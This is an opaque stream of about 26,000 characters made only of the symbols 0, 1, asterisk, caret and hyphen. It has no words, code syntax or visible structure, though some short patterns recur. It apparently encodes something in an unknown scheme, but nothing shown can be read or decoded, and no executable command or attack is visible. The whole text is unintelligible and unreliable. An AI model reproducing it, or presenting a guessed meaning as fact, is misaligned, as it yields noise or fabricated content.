0101*1^1*********^1*1*001*011*01*11*1010110^1*0-11*001*******^110-10-^1*******001011010-1*11011*01*1*001*001*1*1010--010^^-10-11*------110-^1^1*-*0101*1^1*010110^-1*1*^-1*10-11*^11*1*1*0-**110^1**00--10-0^-11*0^1*1*1*------110--10101*-*0101*1^1*^1101*****00^10--1011**1*010^1*****01**001^101*00^10101*1*1*0^1*1^1*01*^-11*------110-*^11*-*0101*1^1**1101*-*-11*1*^1^-10-11*11011*1*1*001********110-0-1^10101^11****001**0-11*00101******11**1^^1*001******11**11*001*001*01101101101101**01*******************11*1*0110110^110^10101101011*0-11*001*******^110-10-^1*******001011010-1*10101*01*1*001*001*1*01*******001011010-1*10101*01*1*001*001*1*1010--0101*1101*-11*-----1*0--101**-*0101*1^1*********001*11*001*011**110^1**00--11*0^-11*0^1*1*1*-----1*0--0101*00-*0101*1^1*1*^10^1^-11*^11*1*1*0^1*1^1*00-*1101*0^101^-*^1*******-010-10-^1***0--0101*1011010^11*1*^1*11*-11*11011*1*1*-----1*0-^1^1*0-*0101*1^1*********1*1101*001*011**110^1**00---011*0^1*1*1*-----1*0---01*0-*0101*1^1*********--01*001*^1*1^1*11010^-11*1101*01^1*01101*00110-110101*00110101*^^-110-11*11011*1*1*1*^-00-0-11*11011*1*1*-----1*0---11*0-*0101*1^1*1*^1********01101011*001*1101*1*1*-1**110^1**00--101010^-11*0^1*1*1*-----1*0-10110^1*-*0101*1^1*^1101*****001^10-0-01**^1^^1********0-0101*001*0011*1*1*0^1*1^1*^1*0-11*001*******-010-0-1^1********-0101011*1*11010-01*011**1**1^--010^1*^10-1*11011*1*1*-----1*0--*011*-*0101*1^1*********10^101*001*011**110^1**00--10-1*0^1*1*1*-----1*0-101101011*-*0101*1^1*-10110-11*0^1*1^1*^10^-11*1010--0101*-*0-11*-----1*0--^-*-*0101*1^1*^1101******0110-1^11**0^1^^1********01101011*001*0011*1*1*10101*0^11*001*01*1*^1*01*1*-10-11010^^110^1010^-11*1*^^10-0-11*11011*1*1*-----11*-^11**0-*0101*1^1*-00110-11*^1**110^1**00--1*10^-11*0^1*1*1*-----11*-110-**-*0101*1^1**1101********0--01*00^1*^1********11010101*00^^11*1*1*0^1*1^1*0011*0-11*-----11*-1011011*00-*0101*1^1*********010-01*001*1^-110101*00110101*^1********10-101*00^^11*1*1*1*^1********1*1101*00^^11*1*1*-----11*-11010101*0-*0101*1^1*1*0010-11*^1**110^1**00---01*0-11*0^1*1*1*-----11*-101^11*0-*0101*1^1*********-^11*001*^1*1^1*-01^-11*00110-110101*0011010^1*0-11*1*^1********-*11*001*1101*1*1*-----11*--*001*-*0101*1^1*-01010-11*^1*0101101*11********1**0101******11**110-**01******11**0101011**1*101********-01^-0^11*0101******00-101101^-*1*******0^10-10-^1**0^--0101********00-^11*00^-----11*-110101101*-*0101*1^1*^110^1011*1*^1********01010101*00^11011*1*1*1*1*00110^1**00--101101^-11*0^1*1*1*-----11*-10-0011*-*0101*1^1*00^^-11*0^1*1^1*0-1*-11*-*001^1*011****001**0-011*0101*11*001*1*01**1010--0101*0^^-11*-----11*-1^10-*-*0101*1^1*^1101010-*-11*1*^1********101^11*001*1011*1*1*0^1*00110^1**00--110-*-11*0^1*1*1*-----10^--***-*0101*1^1*********110-01*001*^1*1^1*00-*-11*110101******0-0011*101*0011010-01*0101*01*1*001**^1*0^--0101********00110-01*00^-----10^-110^1*00-*0101*1^1*^1101******-01*0101011*001*010^1*01010-11*-01*1*1*0^1*00110^1**00---011*-11*0^1*1*1*-----10^---1*00-*0101*1^1*^110101*^-001^-11*^11*1*1*1*^-^110-11*^11*1*1*0^1*1^1*0^1*-11*01^1*11****001**^1011*0101*11*001*1*^10110101*001*1*01**00110-110101*001101*11*0-11*1*^1********00-001*00^11011*1*1*-----10^-10-011*0-*0101*1^1*1*^1********0-^1*00^11011*1*1*-1**110^1**00--11*1*-11*0^1*1*1*-----10^-1101*01*-*0101*1^1*^11010-00^-11*1*^1********00--*001*1101*1*1*0^1*1^1*1*1*-11*011*001^1*011****001**0-011*010^^10110101*001*1*01**1010--010^10101010-11*-----10^-101010101*-*0101*1^1*^110^-0110-11*1*^110101010-11*^11*1*1*-1**110^1**00--1*01*-11*0^1*1*1*-----10^-11*0011*-*0101*1^1*1*^1********0010^1*00^11011*1*1*0^1*1^1*^^10-11*-----10^-^101011*-*0101*1^1*^110101*0010-11*1*^1********10-001*001*1011*1*1*01^1*11****001**0^-*0101*11****001**00--*101******01***11011*001******01***^11*001*11****001**-00-*101******11**00^1**01******11**0110101**1*101********-01^-*1*******1^10-10-^1**011*******0-1011*101******1**01*0-*001******1***^101*001*101********-01^-0-01*0101******00-101101^-0011****001***1011*0101*1011*^1011*0110^-01101*1*1*1*11**01**01**^10-11010^^1101******1101010^11**001*010^1*****001***01**00^10101*1*1*------00-1101^1*0-*0101*1^1**00^-11*^1**110^1**00--1*^10-11*0^1*1*1*------00-10-101*0-*0101*1^1*^110^1101*1*^^-^-11*01101*1*1*0^1*1^1*010-00-11*------00-1*0-*0-*0101*1^1*1*^^110^-11*01011*1*1*01*10-0101******010-01*101******11**-011**01******11**-0-**^^1011*1********110-10-^1*******001011010-1*11011*01*1*001*001*1*011****011**001*1*0101*00-00-11**11010-11*011*******0-1011*101******01**1011***1******01**^^1**1*101********-01^-01101*01*1*011*******0-1011*101******1***^-*001******1****101*001*101******001*-01^-*01*01*1*0101******00-101101^-0101*001*1*001*******1*10-10-^1**011****01**0^-11*101******01**11010-*001******01***^11*00^1011*01*1*001*******1*0-110-^1********-010-1*1*11010^1*0-**01*******-010-10-^1**0^--010^1*^1*11*-11*01101*1*1*-----^10-1*1**0-*0101*1^1*^1101*****0010--10110-*001*010^-101^-11*-01*1*1*0^1*00110^1**00--1^-00-11*0^1*1*1*-----^10-101*1*00-*0101*1^1*^1101********0101^11*00^1*^1********^10101*00^^11*1*1*0^1*1^1*01*010-11*-----^10--0-*00-*0101*1^1*********0-*1*00^^10-110101*00110101*^1*10^-11*11011*1*1*1*^1********-01101*00^11011*1*1*-----^10--10101*0-*0101*1^1*01101**1**110^1**00--11*0010-11*0^1*1*1*-----^10--^11*0-*0101*1^1*^1101******00110-1^101*00^1^^1*****01**01^1**001*0011*1*1*0^1*1^1*11011*-11*-----^10-1**01*-*0101*1^1*^11010-00110-11*1*^11*1*-11*11011*1*1*^10-11010^^1101******-101**-*00^1^^1*****01**00^101**1*0011*1*1*-----^10---001*-*0101*1^1**11010-11*-11*1*^1********01^101*00^^11*1*1*0^1*00110^1**00--101011*-11*0^1*1*1*-----^10-1^-01*-*0101*1^1*10^^-11*0^1*1^1*0101*0-11*0011*0011*001010--010^10^^-11*-----^10-^1^11*-*0101*1^1*^1101********0010-01*00^1*^1*10^-11*01101*1*1*0^1*00110^1**00--1^1*0-11*0^1*1*1*-----^10-101^-*-*0101*1^1*010-00-11*0^1*1^1*0-*0-11*-----^10--00-1*-*0101*1^1*^110^110-0-11*1*^1*****01**0^-01*001*1011*1*1*101*001^1*011****001***1011*0101*0011*011****011**001*1*0101******1**010110-*001******1**01011*1*001*11*******0-1011*101******1**01010-1*001******1**01*1101*001*101********-01^-00101101*011*^1*0011*******0-1011*10^^11*-*10-11*0101********-01^-00-1*0101******00-101101^-011**01**00110-110101*0011010^11*-11*1*^1*****01**0101101**01*1101*1*1*-----11010-11010101*0-*0101*1^1*0-1*-11*^1**110^1**00--11011*0-11*0^1*1*1*-----11010-101^11*0-*0101*1^1*^1101******00110-0101**001*010^1^10^-11*-01*1*1*0^1*1^1*10-*-11*011*001^1**11010-01*-*001*1*0^--0101********001^1101*00^-----11010-1^1*1*-*0101*1^1*11011010-11*^1**110^1**00--^-*-11*0^1*1*1*-----11010-10101^1*-*0101*1^1*********11*001*001*^1*1^1**00^-11*1010--010^10-110-11*-----11010-10-0101*-*0101*1^1*0011*0-11*^1*01*11*1010110^1*0-11*001*******^110-10-^1*******001011010-1*10101*01*1*001*001*1*01^-11010^^110101*^1*****01**001*001*001*1101*1*1*1*^1*****01**0110-1**1*1101*1*1*-----11010-110-011*-*0101*1^1*^11010^11010-11*1*^1********01*-*001*1101*1*1*0^1*00110^1**00----*-11*0^1*1*1*-----11010--10-1*-*0101*1^1*^1101******1**01011011*00^1^^1^11**11*1*1*0^1*1^1**11*-11**1*01^1*011****001**^1011*0101*11*001*1*^10110101*001*1*01**00110-11010^^11010110-00-11*1*^1********11*001*00^^11*1*1*-----10110-101^1*00-*0101*1^1*********0-1101*001*011**110^1**00---101*-11*0^1*1*1*-----10110-1010-*00-*0101*1^1*11011010^11*1*^1*-00-11*11011*1*1*0^1*1^1*001*10-11*-----10110-^1^1*0-*0101*1^1*1^-0-11*0-*01^1*011*******01010-*101*0101*-11*0011*0-11*011*******0-1011*101******11**11*001*001******11**011*11*001*101********-01^-0-01*0101******00-101101^-0011****001***1011*0101*0011*011****011**001*1*0101******11**110^1**1******11**110101**01*11*******0-1011*101******01**010-**01******01**0--**1*101********-01^-0^11*0101******00-101101^-011**01**00110-11010^^1101*******1*11*011*001*010^-1*10-11*-01*1*1*-----10110-1*-01*-*0101*1^1*1010-0-11*^1**110^1**00---*010-11*0^1*1*1*-----10110-1^^11*-*0101*1^1*^11010-01010-11*1*^1*00^-11*11011*1*1*0^1*1^1*00-^-11*-----10110-^-011*-*0101*1^1*********0^^1*001*1*101011****01**00-*1*101******11**^1*1*001******11**01*101*001*11****001***1011*010^^1011*1********110-10-^1*******001011010-1*11011*01*1*001*001*1*011****011**001*1*0101******11**010-11*001******11**0101^1*001*11*******0-1011*101********0011010-*001********00-10101*001*101********-01^-01101*01*1*011*******0-1011*101******01**1*1101*001******01**1010-1*001*101******001*-01^-*01*01*1*0101******00-101101^-0101*001*1*01**1011*01*1*001*******1*0-110-^1********-010-1*1*11010^1*0-**01*******-010-10-^1**^10-11010^^1101******01011*010-**1*010^1*********10101*00^-01*1*1*------10-^10-*0-*0101*1^1*^1101*****00-0-001010101*00^1^^1*****01**00^-**1*0011*1*1*10101*00110^1**00---0-00-11*0^1*1*1*------10-11*^1*-*0101*1^1*^1101*****0010-^11***001*010^1*01^-11*10101*1*1*0^1*1^1*01101*-11*011*001^1*011****001**0-011*010^^10110101*001*1*01**0^--0101*********^1101*00^------10-1^-01*-*0101*1^1*^1101*011*1*^1*********0-1*001*1101*1*1*1*1*00110^1**00--110101*-11*0^1*1*1*------10-10^1011*-*0101*1^1*^1101011010110-11*1*^1*****01**0110-1**1*1101*1*1*0^1*1^1*110^10-11*1010--010^10-^-11*------10-^110-*-*0101*1^1*^1101******^10110-1**001*010^1********-01011*00^10101*1*1*10101*1*1^-1*01*1**01*1*1*1010--0101*^1^-11*-----1*--101**0-*0101*1^1*11011*-11*^1**110^1**00--1010^10-11*0^1*1*1*-----1*-1^-**-*0101*1^1*1*1*-11*0^1*1^1*1*1^-11*1010--010^101^10-11*-----1*--01101*00-*0101*1^1**110^1101010-11*1*^^1*10-11*11011*1*1*-1*0101101*11********1**0101******01**00-**001******01**101^1**1*101********-01^-0-01*0101******00-101101^-*1*******0^10-10-^1**^10-11010^^1101*****00--00^1^1*001*010^1*****01**011*1**0^10101*1*1*-----1*-110-011*0-*0101*1^1*10101^-11*^1**110^1**00--1*01^-11*0^1*1*1*-----1*----*0-*0101*1^1*^1101*****0011010110-0101**1*010^1*0-0-11*-01*1*1*0^1*1^1*1*0010-11*1010--0101*0-*-11*-----1*--001^1*-*0101*1^1*^1101*********^101*00^1*^1********00101011*001*1011*1*1*10101*1*11*001*0^1*01010--010^1*1^-11*-----1*-1101101101*-*0101*1^1*^1101******00101^-011**1*010^110101*-11*-01*1*1*0^1*00110^1**00--1**10-11*0^1*1*1*-----1*-11*01011*-*0101*1^1*^1101*****00-*01011*1**1*010^-001010-11*-01*1*1*0^1*1^1*-11*-11*001*******^110-0-1^11****001**^1011*010^-*001*1*011*001*1*01**01*******001011010-1*10101*01*1*001*001*1*0110--010^10-*-----1^--***0-*0101*1^1*--00-11*^1**110^1**00--10-1*-11*0^1*1*1*-----1^-110^1**-*0101*1^1**********-01*001*^1*1^1*101*10-11*-1*01^1*0-*01*1*0^--0101*********00-01*00^-----1^--01101*00-*0101*1^1*********1*0101*001*011**110^1**00--^1*10-11*0^1*1*1*-----1^--*001*0-*0101*1^1**11010-01010-11*1*^110^^-11*^11*1*1*0^1*1^1*-1*0-11*^10-11010^^1101******^1011*-**01*010^1*****001**-***0^10101*1*1*-----1^-1^^11*0-*0101*1^1*^110^10^10-11*1*^1********010-11*001*1101*1*1*0^1*001101*11********1**0101******01**101*01*001******01**00101011*001*101********-01^-*^110-11*0101******00-101101^-011**00110-110101*00110101*^-011*-11*11011*1*1*1*^^101^-11*11011*1*1*-----1^--*0101*-*0101*1^1*^11010^10110-11*1*^1*11*01101*1*1*0-**110^1**00--10-*0-11*0^1*1*1*-----1^--1101101*-*0101*1^1*^1101*****00-^101*11**01*010^10-0010-11*-01*1*1*0^1*1^1*00^^-11*-----1^--01^11*-*0101*1^1*1*^-0-00-11*^11*1*1*001********110-0-1^10101^11****001**0-11*00101**0^-11**01^-11*001101101101101**01*******************11*1*0110110^110^101011*11*0-11*001*******^110-10-^1*******001011010-1*10101*01*1*001*001*1*01*******001011010-1*10101*01*1*001*001*1*0^--0101********001101^1*00^-----1010-1101101**-*0101*1^1*^1101010-*1*^1********-00101*00^^11*1*1*1*1*00110^1**00---*^-11*0^1*1*1*-----1010---01*00-*0101*1^1*1*^^-010-11*01011*1*1*0^1*1^1*0-1*-----1010-110-11*00-*0101*1^1*^1101*****00-*-011011**1*010^1*********00101*00^-01*1*1*1010--0101*0-^-11*-----1010--110101*0-*0101*1^1*-10^-11*^1**110^1**00--110-*0^1*1*1*-----1010--1^11*0-*0101*1^1*^1101*****0010101010-01011*001*010^1*****01***00-1*00^10101*1*1*0^1*1^1*10-*-----1010----*0-*0101*1^1*********11010101*00^110101******101^11*101*0011010-01**110^11*00^101^-*^1*******-010-10-^1**001*******-0101^-1^1**0^--0101********001010^1*00^-----1010--0010101*-*0101*1^1*********00-101*001*011**110^1**00--^-*0^1*1*1*-----1010-1^-101*-*0101*1^1*^1101**010-11*1*^^-^-11*11011*1*1*0^1*1^1*11*^-11*-----1010---0011*-*0101*1^1*^^10-11*0^--0101********0010101101*00^-----1010---1011*-*0101*1^1*00110^-11*^1**110^1**00--101*^-11*0^1*1*1*-----1010-11*0-1*-*0101*1^1*1*^10101*0-11*01101*1*1*0^1*1^1*-00^-11*------0-11***00-*0101*1^1*********11*011*00^^1*01^1**110^1010110-01**110^1010110^110^11*001*1*-*001*1*^1*01*1*1010--010^11*^-11*------0-110-1**-*0101*1^1*^^10-11*^1**110^1**00--101^^-11*0^1*1*1*------0---01*00-*0101*1^1*^1101*001*-11*1*^1*****01**011011011*001*1011*1*1*0^1*1^1*011*10-11**01*1^1*01101*0^--0101*********0101101*00^------0---001*0-*0101*1^1*11011**1**110^1**00--1101*10-11*0^1*1*1*------0---101*0-*0101*1^1*10^110-11*0^1*1^1*10^^-11*------0-1^11011*0-*0101*1^1*^1101******-01010101101**^1^^1*11010-11**11*1*1*00110-11010^^1101*****001*10-10-1**1*010^1010-00-11*-01*1*1*------0--101*1*-*0101*1^1*^110^^1*-11*1*^1********-1*1*00^^11*1*1*0^1*00110^1**00--^^^-11*0^1*1*1*------0--0^101*-*0101*1^1*********10110101*001*^1*1^1*001^10-11*------0--0101101*-*0101*1^1*********0-0101*001*1^1*11****001**0^-*0101*11****001**00--*101******1**010110101*001******1**010-101*001*11****001**-00-*101******11***10-*001******11**0101^1*001*101********-01^-*1*******1^10-10-^1**011*******0-1011*101******01**-***01******01**01*01**1*101********-01^-0-01*0101******00-101101^-0011****001***1011*0101*1011*011****011**001*1*0101******1**0-^11*001******1**0-10101*001*11*******0-1011*101*********0-011*001*********001^1*001*101********-01^-00-1*0101******00-101101^-011**01**01**00110-11010^^1101******^110101*1**0^1^^1010-00-11**11*1*1*-----^--^^1*0-*0101*1^1*^1101*****00-0-01^^1*001*010^1********0-*1*00^-01*1*1*10101*00110^1**00---0^10-11*0^1*1*1*-----^--01^11*0-*0101*1^1*01010^-11*0^1*1^1*--00-11*-10-11010^1*^1*****01**01****1*1101*1*1*-----^--10-11*0-*0101*1^1*********-10101*001*011*01*11*011*01*1*1011*01*1*1010--0101*1010^-11*-----^--1^^1*-*0101*1^1*001^10-11*^1**110^1**00--10-1^-11*0^1*1*1*-----^--00^101*-*0101*1^1*^1101*****00^11*^^1**1*010^10-1*-11*10101*1*1*0^1*1^1*01101******01101*01^101*******1*101*******01101*01101*******011*^1011*****00-1**01011*****001*1*01101011*****011***-1*****001101*001101011*****01101**-001*****010101*01*001*****01^1*-*******0011*001^101*****01**0^-01*****01^1*0-1011****************01101*01*11******011*00101101******11***0101******001*00-1******01**-01******00101*001101101******1*00-*******101*00-*******11**-00101*****01^1*1^1101*****010101*0011011*****001**010--*****01**00101*1*****0-*001^101*****00101**00101******0011*00110-*****00-01*0^11*********11*1*****001***1*******1***101******0^1**0-11*****001**010-******0011*011*1******10101*110-01*****01^1*0^^1*****00^1*01^-*****01*1*-00101*****01101**--*****00^1*0^-******01***^1*****0-01*110^11*****011**1^^1*****0-1**00101*****0010101*11*11******-*00-*********010101******0-1*00^^1*****011**01*******0^1*0^^1*****00-1***01******-*011*001*****01^1*101*11*****0^11*0-0-*****001**0^101*******1*01^1*******01*0010-1*****0101*0010-011*****0^11*1^1******0-01*00-101*****0-01*0101101******1011*********-01*1101^1*****01*1***01*****001101*-11******010101***1*****001011**00101******11*00-10-*****01**001010-******101*110-11******01*00^101*****0010101*1^1011*****0-*00-11******01*1*01^-*****00-*0-01101*****011**10^11******1**01010101******11*0-*1******-**1^11******011*-0-1******011*00101101*****01^1*00-11*****001011*011*11*****001*1*00101******010101*0^-1*****00-**11011******11**-******00^11*1*0101*****0011*001011011******1101*01*001*****00-**10101*****00-1**0-1*****001101*011*-*****0-**11*11******011*-001******^11*0-01*******1*0010101******-1*00-1******0101***-1******001*01*-*****01101*0-01101********10-11*****001**00101101******0011*00101101******011*001*******-01*01011011*****0^11**-01*****00101*01^1******0^11**1*1******011*0010^1******11*00-*1*****01101*011*001*****0-*00-011******1^1*--11******01*0^-******0-**^101*****01101*011*01*****00^11*001*11*****00101**1011******1101*01101*******101*0010-1*****00101*001010101*****001**0101^1*****00^11*0101011*****00-1**00-1******1**0^1******00101*^^11********010101******01**00110-*****0-01*-0-*****001**0-1^1*****01011**^1******11**10^1******-01*0011*******11**1*011*****0011*00--1******0011*-11011*****001101*1^1101*****01101*0-0-******001*00--*****0011**110-01******01**0-01*****00^1*0011*******1**0101*1*****0^1*01101101*****00-*001^1011*****011**-00101*****0^1*010^-*****0^11*01*-*****0^11*0010^1******1*001101101*****00^11*11********011*0110-******01*00-00-******1**10-******0011*01*-1*****001**01^11******^1*0101*1******1*001*1011*****01**01*0-*****00^1*01101011********1^101*****0010101*1*1*******001*0010101******-*0-001******-01**11*******01*********00101*011010-*****01**0^^11*****00101**01101******1101*^^11*****0^1**-11******001*0010101******-*001*-******1101*001^1*****0010101*10-001******1**^1101*****001101*001101******^11*10-01*****00-01*-10-******101*-1^1*****01011*00101*******1101*01^-*****00^1*01*11*****00-*001*-1******01*0-0^1******1*0010-001******011*001^11*****01*1**0-******101*01101^1*****0-1*0011*******-*00-1*******1**110-1*****001**0110-******0-*0101*1*****001011*0-0-*****0011**^10-*****0-01*110^1*****001**01*-******-*0^-11*****010101*101101******0101**101011******101*11010101******01*00^-*********0010-01*1*101*1*1*00101*1^1*********1*0011*00^11011*1^1*001****01*****0--001011*1^1*001*******0-11010--0^11*1^1*001****01**0-010^--*011*1^1*001****01**0^110^--0-01*1^1*001*******-1*10--001101*1^1*001****01**001**0--010101*1^1*001*******010101010--001101*01^1*1**11010^1*1***001**011*11*****0010-*101*01**00^1**001^1^1*********010101*11****001**0^-*0101*10110^-011*1*******1^10-10-^1**^110^1010110-01*001*******0-10-10-^1*******011011010-1*1011**01*******011010-10-^1**01**--------0^-1*-0011010^-11*-----1^-11*10101*-*101*01^1**10^-11*********^1*00-11*01*001*1*101*001*1*-----1^-11010-01*-*101*01^1**11*-11*101*001^1**11010-01*101*001*1*-----1^--00^11*-*101*01^1*^1101*****00^10-01011**001*010^1********01^101*001**1*1*1*01*1010101^1101*001*1*^1*0101*001*1*001*******101010-10-^1**110101******001^11*101*0011010-01*101*001*1*001*******1010101^-1^1**--------0^-1*-*0010^-11*-----1010--***0-*101*01^1*01^^-11*********^1*0^-00110101******0^11*00101******01**001*1**1******01**1010-**1*11****011**10-001*10^1101**-1**^^110-*001*0101*-01*01101*-11*0101^1101*001*1*^1*0-----1010-11*011*00-*101*01^1*11011*-11*01*10-0101******11*001*101******11**01^11**1******11**0101***1*11*001*1*01101*0101^1101*001*1*^1*0101*001*1*^1*0--------*0-1*-001*^^-*-1*01*1*-----1010-1^-01*0-*101*01^1*^10^-11*********^1*00-11*1101*011*001*1*-----1010--011011*0-*101*01^1*1*1*-11*011*001^1*110101******0^11*00101******1***001011*001******1**01*0-*001*11****01**01*001*010^11**11011010^1*0^^-^11**01*1011*11**0101^1101*001*1*^1*0-----1010-11*1^1*-*101*01^1*-00^-11*01*10-0101******11*001*101******01**^1***1******01**10^11**^^11010-01*110101******0^-*0101******11***1*1*001******11**0-0-*001*101^1101*001*1*^1*001101*0101^1101*001*1*^1*0101*001*1*^1*0---------10-*-001*^110-*-11*-1*01*1*-----1010-11*11011*-*101*01^1*^1101011011*1*^1********11010101*00^1011*01*1*********1*1*^-00110101******11011**101******01**0101*1*001******01**0^^1*001*11****011**1*-*0101*-**^^110101010^1**00^10-*******************00^1*01*01*101^1101*001*1*^1*0------0--0101**-*101*01^1*01010^-11*01*10-0101******-101*00101******11****01*001******11**101^11*00^1*******0010^^1011*101101*0101^1101*001*1*^1*0101*001*1*^1*0------0--10-*00-*101*01^1**11*-11*101*001^1*01101*001*001^1*^11010-01*^101^-*1^1*0------0-110-001*0-*101*01^1*^1*0-11*1011*0110101******00110101*101******01**-0101**1******01**00^1**0^-*001*1*10-00^110^-11*01101*-*001*1*-*001^1*1*******0010^^1011*-101*110101******0^1**101******11**10110101*001******11**0-0011*001*0011010-01*110101******0^11*00101******01**0-***1******01**--**01*11****011**0011*1*101*^11*1*110-^-0-101*001*******************001**1*01*0-*001*******-110-10-^1*******011011010-1*1011**01*******011010-10-^1**001*******-110-10-^1*******011011010-1*1011**01*******011010-10-^1**------0--01^11*-*101*01^1*^1101*****00^^--1011*001*010^1********-10101*001**1*1*1*------0-1101*-*-*101*01^1*-10^-11*---------10-*-001^^^-010-11*0011*01*1*------0--010-1*-*101*01^1*1^1*-11*********^1*0^-001**00--^11*0-11**1*01*1*-----^--^1**0-*101*01^1*^1101*****00101*1101^-*00^1^^-011*0011*01*1**1*01^1*-01*--------0^-1*-0010^^-11*-----^--00^1*00-*101*01^1*0011*0-11*********^1*0^-001**00--101101**1*01*1*-----^---011*00-*101*01^1*-11*-11**1*01^1**11*0101*010101*--------01^-*-00^1101*****00-*010--1*00^1^^1*****01**0^1^1*001*011*01*1*-----^--*1101*0-*101*01^1*^1101******-1*00110-*00^1^^1*****01**00101^1*001*011*01*1*********10101*^-001**00---101**1*01*1*-----^---0-*0-*101*01^1*00110^-11**1*01^1*^11*1101*0^11010-01*^101^-*^1*******011010-10-^1**--------0^-1*-*0110^-11*-----^--1010^1*-*101*01^1*^1101*****00-*1*-1**01*010^1**********01*00^1*1*1*1*********10101*^-001**00--1*11**1*01*1*-----^--00101101*-*101*01^1*1*0^-11**1*01^1*0-1*-----^--**11*-*101*01^1*00^^-11*--------0^-1*-001*0^-11*-----^--*01011*-*101*01^1*10101*-11*********^1*0^-001**00--110-**1*01*1*-----^--11*-*-*101*01^1*10110^-11**1*01^1*11011*-----^---10-*-*101*01^1*^1101*****00101010110-101**1*010^-^^-11**01*1*1*--------0^-1*-0010110^-11*-----110--*1**0-*101*01^1*1101*0-11*********^1*0^-001**00--101011**1*01*1*-----110--11011**-*101*01^1*01011*-11**1*01^1*01011*0011*001101*--------0^-1*-*1011*-11*-----110--*011*00-*101*01^1*00-*-11*********^1*0^-001**00--1^11**1*01*1*-----110--11*01*0-*101*01^1*^1101*****00^10-1*11**01*010^1********01^101*001**1*1*1**1*01^1*1101*0-11*--------01^-*-00^1101******0-1^^-**1*010^1********00110101*00^1*1*1*1*-----110---1011*0-*101*01^1*110110^-1*1*^1********110^11*00^1101*01*1*********1*1***1010101*011*00--------1^-1*-0010-*-----110--1011*1*-*101*01^1**110101*0^-11*1*^11*0110-11*1101*01*1*********-1*0^-001**00--10101*0-11**1*01*1*-----110---00101*-*101*01^1*^1101*****00-10-101101**01*010^^1*10-11**01*1*1**1*01^1*0011*0-11*010101*1101*--------1^-1*-00-01*-----110--101*11*-*101*01^1*^110^101*0-11*1*^1********001*11*001*-*01*1*********0^1*^-001**00---01*0-11**1*01*1*-----110--01*-*-*101*01^1*0-*0-11**1*01^1*10-*0101**01*0--------10110-*-00^1101*011*1*^1*01010-11*-1*01*1*-----110--00--*-*101*01^1*00101*-11*********^1*0^-001**00--^-**1*01*1*-----10---11**0-*101*01^1**00^-11**1*01^1*^1*0-11*0011**011010-01**1*0--------01^-*-00^1101********00^1101*00^1*^1*****01**00-011**1*-*01*1*-----10---0011*00-*101*01^1*11011**********1*0^-001**00--10-1**1*01*1*-----10--1101*1*0-*101*01^1*01011**1*01^1*0101*0-11*--------^10-*-00^110101*^^11*0-11*1011*01*1*1*^110101^-11*1011*01*1*-----10--11*011*0-*101*01^1**11**********1*00-1^-**001*0--------01^-*-00^1101*****0010^1*-0011*00^1^^1********0110-1*001*011*01*1*-----10---*001*-*101*01^1*^11*-11*********^1*0^-001**00--1^1*0-11**1*01*1*-----10---10^1*-*101*01^1*11*^-11**1*01^1*00-*--------1^-1*-0011011*-----10--1^10101*-*101*01^1*^1101*****0010-*0110-1*00^1^^101010^-11*0011*01*1*********0^1*010-00110101*******001*00101******1**010-001*001******1**0110^11*00^110101******110-*00101********00-*11*001********0011010-*00^11**110101******110-*00101******1***1011**01******1***011**001*01*******00-0-10-^1*******011011010-1*1*1**1*******011010-10-^1**--------0^-1*-0011*^-11*--------011**00-*101*01^1*0101*0-11*********^1*0^-001**00---011**1*01*1*--------^11**-*101*01^1*^1101********0011*01*00^1*^1*****01**00-1**00^1101*01*1**1*01^1*01101*********0-*1*********11******011**00^11**********-*****001**0-001******1**010-01*****011**0110-1******1**0-*******1**-1011*****0101***^1******1*00^1^1*****0101*00-011******11***101******1**001010101********0101^1*****011**-^1******1**10-11*****001**001*1******01**010-11*****0101**001011*****001**00^-******1***1******00101*001********1**01101*********1*0011*****0101*00-0-******1**11*101*****001**1*-******1***1011*****001**01*001*****0011**011*1*****00101*00-011******001**01*11*****01**01*1******001**00110-*****01**0-^1*****001**010101011*****011**00101******001***011*********^11******11**11*-****************1**00-0-*****01***10-*****001**01*1*********00110-******1*0011*11**********-*****01**00101*1*****001**01*01********00^1^101*^101*01*1*0101*01^1*0-1*1*1*1^1*001*******010101010--*001*1^1*001*******-1*10--0-1*01^1*001****01*****0--00-*01^1*001*******0-11010--01011*01^1*001****01**0-010^--*11*01^1*001****01**0^110^--01101*01^1*001****01**001**0--001101*01^1*********1***-001*1***001**001*11******11*0010-101***001**001^1^1*01010^-------0-011011*0-**1*1^1*^1101******-00-010101**^1^^1********0010^1*00^-01*1*1*-------01101*001*-**1*1^1*-11*-11*0^--010^1*^10^1^-11*1*1*1*1*-------0110^^1*-**1*1^1*^1101010-*-11*1*^1*****01**0-00101*001*0101*1*1*0^1*00110^1**00--10-0010-11*0-*01*1*-------01^110101*-**1*1^1*^1101******1^110--01*001*010^-110110-11*01101*1*1*0-*01^1*-01*0^--0101*********0-001*00^-------011*^11*-**1*1^1*10101*-11*^1**110^1**00--101101*0-*01*1*-------011*11011*-**1*1^1*1*^101011*0^1*1*1*0-*01^1*01011*1101*001101*00110-11010^^1101*****00--01^10101*001*010^10^1*-11*01101*1*1*-------0-010-1*-**1*1^1*1*^1********1*0101*001*^1*1*1*-1**110^1**00--1^11*0-*01*1*-----1*00-1101**0-**1*1^1*^1101*****00--01101^1**1*010^10^1*-11*01101*1*1*0-*01^1*10-*-11*^10-11010^^110101*^110110^-11*00101*1*1*1*^1********10101101*001*0101*1*1*-----1*00-1*11*00-**1*1^1*********-1*1*001*011*01*11*1010110^1*0-11*0110^1^1*01*1**1*01*1*0^--0101********001010^1*00^-----1*00-0-001*0-**1*1^1*-0-0-11*^1**110^1**00--^-*-11*0-*01*1*-----1*00--1101*0-**1*1^1**********11011*001*-*01^1*0-0^-11*1010--010^10110^-11*-----1*00-1^-*0-**1*1^1**1101*11*0-11*1*^1*****01***101**00^10101*1*1*0^1*101101*101*******011011*0101*101********-01^-0-01*0101******00-101101^-*1*******0^10-10-^1**0^--010^1*^^-*-11*10101*1*1*-----1*00-00^101*-**1*1^1*01*^-11*^1**110^1**00--110110^-11*0-*01*1*-----1*00-10101101*-**1*1^1*010110^1011*1^^^-010-11*-01*1*1*0-*01^1*0^1*-11*-----1*00--*11*-**1*1^1*^1101******001010-001011*001*010^1********01*001*001*1101*1*1*011*001^1*011****001**0-011*0101*11*****1***0101*101*11*****1*001101^1*101*101********-01^-0-01*011*****1*001101^1*101*11*****1*001101^1*101*101******00-101101^-*1*001*1*0101********-01^-0101*001*1*001****001**110-*--00101******00-101101^-*1*001*1*001****001**010-*--*1****001**010-*--*1****001**00-1*--001**0^--0101*********001*1*00^-----11*0-0-01*00-**1*1^1*10101010-11*^1**110^1**00--11*1*-11*0-*01*1*-----11*0---*00-**1*1^1*01101^-11*0-*01^1*0101*0-11*0011*